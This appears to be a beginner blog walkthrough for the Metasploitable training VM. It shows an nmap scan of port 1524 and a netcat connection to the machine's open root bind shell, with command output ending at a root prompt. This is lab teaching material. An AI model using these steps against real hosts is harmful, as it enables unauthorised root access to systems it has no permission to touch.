1524/tcp open bindshell Metasploitable root shell Exploit

Hi Buddy, in this blog post I want to explain how to exploit port 1524/tcp open bindshell Metasploitable root shell in a metasploitable vulnerable machine in a virtual box version metasploitable 1, metasploitable 2 and metasploitable 3 and this technique supports all future versions also.

Please note this exploitation is divided by 3 parts if you already done enumeration and active reconnaissance then directly jump to Step 3 for exploit.

Step 1 Active Recon

There are a lot of other ways to do active Recon but In this scenario I want to use nmap tool (network mapping tool).

As per my opinion try everything but go with an easy method, If you have any other method then please try and comment on my .

nmap -T4 -A -p 1524 198.xx.xx.xxx Run this command if you don’t know the meaning see below i will explain.

• -T4 for (-T<0-5>: Set timing (higher is faster)
• -A for (-A: Enable OS detection, version detection, script scanning, and traceroute)
• -p 1524 for ( -p : Only scan port 1524 or bindshell)
• 198.xx.xx.xxx (Target IP address or hostname or domain name)

Run nmap above command.

Active Recon Result.

┌──(kali㉿kali)-[~/vm/metaspoitable_vm]
└─$ nmap -T4 -A -p 1524 198.xx.xx.xxx      
Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-12 22:50 IST
Nmap scan report for meta.meta (192.xx.xx.xxx)
Host is up (0.00064s latency).

PORT     STATE SERVICE   VERSION
1524/tcp open  bindshell Metasploitable root shell

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 2.33 seconds

Metasploitable root bind shell open and port is 1524.

Step 2 Understand bind shell

In here we need to understand why this is open?

Some time or most of the time when an attacker finds a vulnerability and successfully exploits and also gets a top privilege shell In Linux this is root and in windows this is called administrator shell.

When you update your server or automatically most of the vulnerability fix that’s why most of the time attackers create backdoor-like bind shells.

Using any programming language you can create a bind-shell but this programming language needs to support the target server.

So

Step 3 Exploit

Step 3 is most simple. On this point you know what is nc or net-cat.

Using nc or net-cat we are able to exploit port 1524 you need to just type below command.

nc 198.xx.xx.xxx 1524

What is the meaning of this command?

• nc (net-cat tool)
• 198.xx.xx.xxx (Target ip address or server host name)
• 1524 ( bind port 1524)

┌──(kali㉿kali)-[~/vm/metaspoitable_vm]
└─$ nc 198.xx.xx.xxx 1524            
root@metasploitable:/# id
uid=0(root) gid=0(root) groups=0(root)
root@metasploitable:/# whoami
root
root@metasploitable:/# ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
tmp
usr
var
vmlinuz
root@metasploitable:/# 

Now we have a Metasploitable root shell.

Conclusion

1. Step1 run nmap tool nmap -T4 -A -p 1524 198.xx.xx.xxx using this command.
2. Understand bind.
3. Install nc or net-cat tool.
4. nc 198.xx.xx.xxx 1524 use this command and get Metasploitable root shell.

Other Metasploitable Article For You.

What is TTY Shell?